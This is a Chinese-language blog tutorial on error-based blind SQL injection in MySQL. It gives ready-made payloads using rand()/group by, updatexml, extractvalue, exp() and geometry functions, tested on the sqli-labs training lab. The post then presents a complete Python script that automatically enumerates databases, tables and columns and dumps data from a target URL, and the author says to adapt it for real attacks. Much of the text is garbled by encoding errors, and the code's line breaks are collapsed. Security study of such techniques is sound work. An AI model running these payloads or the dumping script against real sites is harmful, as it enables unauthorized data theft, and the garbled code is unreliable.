滲透的時(shí)候總會(huì)首先測(cè)試注入,,sql注入可以說是web漏洞界的Boss了,穩(wěn)居owasp第一位,普通的直接回顯數(shù)據(jù)的注入現(xiàn)在幾乎絕跡了,,絕大多數(shù)都是盲注了,此文是盲注系列的第一篇,,介紹盲注中的報(bào)錯(cuò)注入,。 其實(shí)報(bào)錯(cuò)注入有很多種,本文主要介紹幾種常見的報(bào)錯(cuò)方法,,有新姿勢(shì)后續(xù)再更新,。 1. Duplicate entry報(bào)錯(cuò): 一句話概括就是多次查詢插入重復(fù)鍵值導(dǎo)致count報(bào)錯(cuò)從而在報(bào)錯(cuò)信息中帶入了敏感信息。 關(guān)鍵是查詢時(shí)會(huì)建立臨時(shí)表存儲(chǔ)數(shù)據(jù),,不存在鍵值就插入,,group by使插入前rand()會(huì)再執(zhí)行一次,存在就直接值加1,,下面以rand(0)簡(jiǎn)述原理: 首先看看接下來會(huì)用到的幾個(gè)函數(shù) Count()計(jì)算總數(shù) Concat()連接字符串 Floor()向下取整數(shù) Rand()產(chǎn)生0~1的隨機(jī)數(shù) rand(0)序列是011011 1. 查詢第一條記錄,,rand(0)得鍵值0不存在臨時(shí)表,執(zhí)行插入,,此時(shí)rand(0)再執(zhí)行,,得1,于是插入了1,。 2. 查詢第二條記錄,,rand(0)得1,鍵值1存在臨時(shí)表,,則值加1得2,。 3. 查詢第三條記錄,rand(0)得0,,鍵值0不存在臨時(shí)表,,執(zhí)行插入,rand(0)再次執(zhí)行,,得鍵值1,,1存在于臨時(shí)表,,由于鍵值必須唯一,導(dǎo)致報(bào)錯(cuò),。 由上述可得,,表中必須存在大于等于3條記錄才會(huì)產(chǎn)生報(bào)錯(cuò),實(shí)測(cè)也如此,。 一些報(bào)錯(cuò)查詢語句(相當(dāng)于套公式): 假設(shè)字段數(shù)是3 經(jīng)典語句: union select 1,count(*),concat(version(),floor(rand(0)*2))x from information_schema.columns group by x;–+version()可以替換為需要查詢的信息,。 簡(jiǎn)化語句: union select 1,2,count(*) from information_schema.columns group by concat(version(),floor(rand(0)*2));–+ 如果關(guān)鍵的表被禁用了,可以使用這種形式 select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2)) 如果rand被禁用了可以使用用戶變量來報(bào)錯(cuò) select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2) Sqli-labs less5測(cè)試: 1. 獲取庫名:
2.獲取表名:
3. 獲取列名:
4. 爆數(shù)據(jù):
2. Xpath報(bào)錯(cuò): 主要的兩個(gè)函數(shù): Mysql5.1.5 1. updatexml():對(duì)xml進(jìn)行查詢和修改 2. extractvalue():對(duì)xml進(jìn)行查詢和修改 都是最大爆32位,。 and updatexml(1,concat(0x26,(version()),0x26),1);and (extractvalue(1,concat(0x26,(version()),0x26))); Sqli-lab less5測(cè)試: Updatexml():
Extractvalue():
3. 整形溢出報(bào)錯(cuò): Mysql>5.5.5 主要函數(shù): exp(x):計(jì)算e的x次方 Payload: and (EXP(~(select * from(select version())a)));Exp()超過710會(huì)產(chǎn)生溢出,。 將0按位取反就會(huì)返回“18446744073709551615”,而函數(shù)執(zhí)行成功會(huì)返回0,,所以將成功執(zhí)行的函數(shù)取反就會(huì)得到最大的無符號(hào)BIGINT值,,從而造成報(bào)錯(cuò)。 4. 數(shù)據(jù)重復(fù)報(bào)錯(cuò): Mysql低版本 payload:select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x 5. 其余報(bào)錯(cuò): GeometryCollection() id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))polygon() id =1 AND polygon((select * from(select * from(select user())a)b))multipoint() id = 1 AND multipoint((select * from(select * from(select user())a)b))multilinestring() id = 1 AND multilinestring((select * from(select * from(select user())a)b))linestring() id = 1 AND LINESTRING((select * from(select * from(select user())a)b))multipolygon() id =1 AND multipolygon((select * from(select * from(select user())a)b)) 依據(jù)sqli-lab less-5寫的自動(dòng)化注入腳本,,實(shí)戰(zhàn)再根據(jù)具體情況修改即可,,盲注還是寫腳本方便點(diǎn)。 (建議在linux下使用,,win下的cmd無法使用termcolor,,win下可注釋并修改print即可,有顏色還是挺酷的,!) (單擊圖片查看大圖) 點(diǎn)擊下方空白區(qū)域查看純文本 ▼ 「腳本」 #coding:utf-8 #Author:LSA #Description:blind sqli error base script #Date:20171222 import sys import requests import re import binascii from termcolor import * import optparse fdata = [] def judge_columns_num(url): for i in range(1,100): columns_num_url = url + '\'' + 'order by ' + str(i) + '--+' rsp = requests.get(columns_num_url) rsp_content_length = rsp.headers['content-length'] if i==1: rsp_true_content_length = rsp_content_length continue if rsp_content_length == rsp_true_content_length: continue else: print (colored('column nums is ' + str(i-1),'green',attrs=['bold']))columns_num = i break def getDatabases(url): dbs_url = url + '' union select 1,count(*),concat((select count(distinct+table_schema) from information_schema.tables),0x26,floor(rand(0)*2))x from information_schema.tables group by x;--+'dbs_html = requests.get(dbs_url).content dbs_num = int(re.search(r'\'(\d*?)&',dbs_html).group(1))print 'databases num:' + colored(dbs_num,'green',attrs=['bold'])dbs = [] print ('dbs name: ') for dbIndex in xrange(0,dbs_num): db_name_url = url + '' union select 1,count(*),concat((select distinct table_schema from information_schema.tables limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+' % dbIndexdb_html = requests.get(db_name_url).content db_name = re.search(r'\'(.*?)&', db_html).group(1)dbs.append(db_name) print (colored('\t%s' % db_name,'green',attrs=['bold']))def getTables(url, db_name): #db_name_hex = '0x' + binascii.b2a_hex(db_name)tables_num_url = url + '' union select 1,count(*),concat((select count(table_name) from information_schema.tables where table_schema='%s'),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+' % db_nametables_html = requests.get(tables_num_url).contenttables_num = int(re.search(r'\'(\d*?)&',tables_html).group(1))print ('databases %s,,tables num: %d' % (db_name, tables_num))print ('tables name: ') for tableIndex in xrange(0,tables_num): table_name_url = url + ''union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='%s' limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+' % (db_name, tableIndex)table_html = requests.get(table_name_url).contenttable_name = re.search(r'\'(.*?)&',table_html).group(1)print (colored('\t%s' % table_name,'green',attrs=['bold']))def getColumns(url,db_name,table_name): #db_name_hex = '0x' + binascii.b2a_hex(db_name)#table_name_hex = '0x' + binascii.b2a_hex(table_name)dataColumns_num_url = url + '' union select 1,count(*),concat((select count(column_name) from information_schema.columns where table_schema='%s' and table_name='%s' ),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+' % (db_name,table_name)dataColumns_html = requests.get(dataColumns_num_url).contentdataColumns_num = int(re.search(r'\'(\d*?)&',dataColumns_html).group(1))print ('table: %s,dataColumns num: %d' % (table_name, dataColumns_num))print ('DataColumns name:') for dataColumnIndex in xrange(0,dataColumns_num): dataColumn_name_url = url + '' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+' % (db_name,table_name,dataColumnIndex)dataColumn_html = requests.get(dataColumn_name_url).contentdataColumn_name = re.search(r'\'(.*?)&',dataColumn_html).group(1)print (colored('\t\t%s' % dataColumn_name,'green',attrs=['bold']))def dumpData(url,db_name,table_name,inputColumns_name): #db_name_hex = '0x' + binascii.b2a_hex(db_name)#table_name_hex = '0x' + binascii.b2a_hex(table_name)dataColumns_num_url = url + '' union select 1,count(*),concat((select count(*) from %s.%s),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+' % (db_name,table_name)data_html = requests.get(dataColumns_num_url).contentdatas = int(re.search(r'\'(\d*?)&',data_html).group(1))inputColumns = inputColumns_name.split(',') print (colored('Total datas: ' + str(datas),'green',attrs=['bold']))print str(inputColumns_name) + ':' for inputColumnIndex in xrange(0,len(inputColumns)): for dataIndex in xrange(0,datas): dataColumn_name_url = url + '' union select 1,count(*),concat((select %s from %s.%s limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+' % (inputColumns[inputColumnIndex],db_name,table_name,dataIndex)data_html = requests.get(dataColumn_name_url).contentdata = re.search(r'\'(.*?)&',data_html).group(1)fdata.append(data) print (colored('\t%s' % data,'green',attrs=['bold']))for inputc in range(0,len(inputColumns)): print str(inputColumns[inputc]) + '\t', print '' print '+++++++++++++++++++++++++++++++++++++++++++++++++'n = len(fdata) / len(inputColumns) for t in range(0,n): for d in range(t,len(fdata),n): print colored(fdata[d],'green',attrs=['bold']) + '\t',print '' print '+++++++++++++++++++++++++++++++++++++++++++++++++'def main(): parser = optparse.OptionParser('python %prog '+\'-h parser.add_option('-u', dest='tgtUrl', type='string',\help='input target url') parser.add_option('--dbs', dest='dbs', action='store_true', help='get dbs')parser.add_option('--tables', dest='tables', action='store_true',\help='get tables') parser.add_option('--columns', dest='columns', action='store_true',\help='get columns') parser.add_option('-D', dest='db', type='string', help='choose a db')parser.add_option('-T', dest='table', type='string',\help='choose a table') parser.add_option('-C', dest='column', type='string',\help='choose column(s)') parser.add_option('--dump', dest='data', action='store_true',\help='get datas') (options, args) = parser.parse_args() url = options.tgtUrl dbs = options.dbs tables = options.tables columns = options.columns db = options.db table = options.table column = options.column datas = options.data if url and (dbs is None and db is None and tables is None and table is None and columns is None and column is None and datas is None): judge_columns_num(url) if url and dbs: getDatabases(url) if url and db and tables: getTables(url,db) if url and db and table and columns: getColumns(url,db,table) if url and db and table and column and datas: dumpData(url,db,table,column) if __name__ == '__main__': main() 如不想切換轉(zhuǎn)義字符可到本人博客復(fù)制代碼:www./network_security/penetration/error-based-blind-sqli/ 效果圖: Exp報(bào)錯(cuò)和其余報(bào)錯(cuò)沒測(cè)試成功,,不知為何,,先這樣吧。(o(∩∩)o...哈哈不知道有多少人能看到這里,,回貼送幣?。?/span>
文:_LSA_ 來源:http://www./network_security/penetration/error-based-blind-sqli/#top |
|